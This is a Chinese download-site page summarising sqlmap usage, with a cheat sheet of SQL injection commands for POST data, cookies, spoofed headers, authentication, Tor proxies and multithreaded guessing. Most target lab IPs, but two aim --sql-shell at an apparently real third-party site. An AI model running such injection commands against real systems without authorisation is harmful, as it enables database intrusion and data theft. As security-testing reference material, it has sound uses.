sqlmap实战指南：攻防演练与参数解析

需积分: 28 4 浏览量更新于2024-09-07 收藏 7KB TXT 举报

"这篇文档是关于sqlmap工具的全面指南，旨在帮助用户了解和有效利用sqlmap进行SQL注入攻击的检测与防御。sqlmap是一款自动化的SQL注入工具，用于测试Web应用程序的安全性，并能帮助发现和利用SQL注入漏洞。" 在SQL网络攻防领域，sqlmap是一个强大的开源工具，它能够自动化探测、识别并利用SQL注入漏洞，以获取数据库中的敏感信息。以下是一些使用sqlmap的关键知识点： 1. 下载与启动：首先，你需要通过`svn checkout sqlmap-dev`来获取sqlmap的最新开发版本。 2. 基本使用：使用`sqlmap.py -u "http://www.example.com/page.php?id=1"`命令可以对指定URL进行SQL注入测试。参数`-v1`到`-v5`控制输出信息的详细程度，数字越大，信息越详细。 3. 获取数据库shell：使用`--sql-shell`选项，如`sqlmap.py -u "http://example.com/" -v1 --sql-shell`，可以尝试获取数据库的交互式shell。 4. 高级选项： - `--method POST`用于指定使用POST方法发送数据，例如`sqlmap.py -u "http://target.com/" --method POST --data "id=1"`。 - `--cookie`用于设置HTTP Cookie，例如`sqlmap.py -u "http://target.com/" --cookie "sessionid=abc123"`。 - `--referer`设置HTTP Referer头，例如`sqlmap.py -u "http://target.com/" --referer "http://referrer.com"`。 - `--user-agent`改变默认的User-Agent，例如`sqlmap.py -u "http://target.com/" --user-agent "Mozilla/5.0"`，或者从文件中读取User-Agents列表，如`sqlmap.py -u "http://target.com/" -v1 -a "./txt/user-agents.txt"`。 5. 身份验证：`--auth-type`和`--auth-cred`用于处理HTTP基本认证或Digest认证，如`sqlmap.py -u "http://target.com/" --auth-type Basic --auth-cred "username:password"`。 6. 其他功能：除了上述基础用法，sqlmap还支持多种技术，如数据导出、数据嗅探、盲注、时间基注入等，可以根据实际需求进行更深入的配置和使用。 sqlmap的使用需要谨慎，因为它主要用于安全测试和防护，而非非法入侵。在合法授权的情况下，这个工具可以帮助安全专业人员识别和修复Web应用程序的SQL注入漏洞，提高系统的安全性。了解并熟练运用sqlmap的知识，对于从事网络安全工作的人来说至关重要。

sqlmap的使用大全 svn checkout sqlmap-dev
sqlmap.py -u "http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1" -v 1 --sql-shell //执行SQL语句
sqlmap.py -u "http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1" -v 5 //更详细的信息
load options from a configuration INI file
sqlmap -c sqlmap.conf

使用POST方法提交
sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/post_int.php" --method POST --data "id=1"
使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie "id=1" -v 1
使用referer欺骗
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --referer "http://www.google.com" -v 3
使用自定义user-agent,或者使用随机使用自带的user-agents.txt
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -a "./txt/user-agents.txt"
使用基本认证
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass" -v 3
使用Digest认证
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1" --auth-type Digest --auth-cred "testuser:testpass" -v 3
使用代理,配合TOR
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --proxy "http://192.168.1.47:3128"
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --proxy "http://192.168.1.47:8118"
使用多线程猜解
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 --current-user --threads 3
绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 -p "id
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 -p "cat,id"
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"
指定数据库,绕过SQLMAP的自动检测

下载后可阅读完整内容，剩余3页未读，立即下载

vergilben

粉丝: 92
资源: 1

sqlmap实战指南：攻防演练与参数解析

sqlmap_windows版

sqlmap中文使用手册

sqlmap工具

sqlmap命令大全

sqlmap使用方法

sqlmap使用文档

sqlmap 使用手册

sqlmap使用手册

SQLMap使用说明

sqlmap 命令大全

最新资源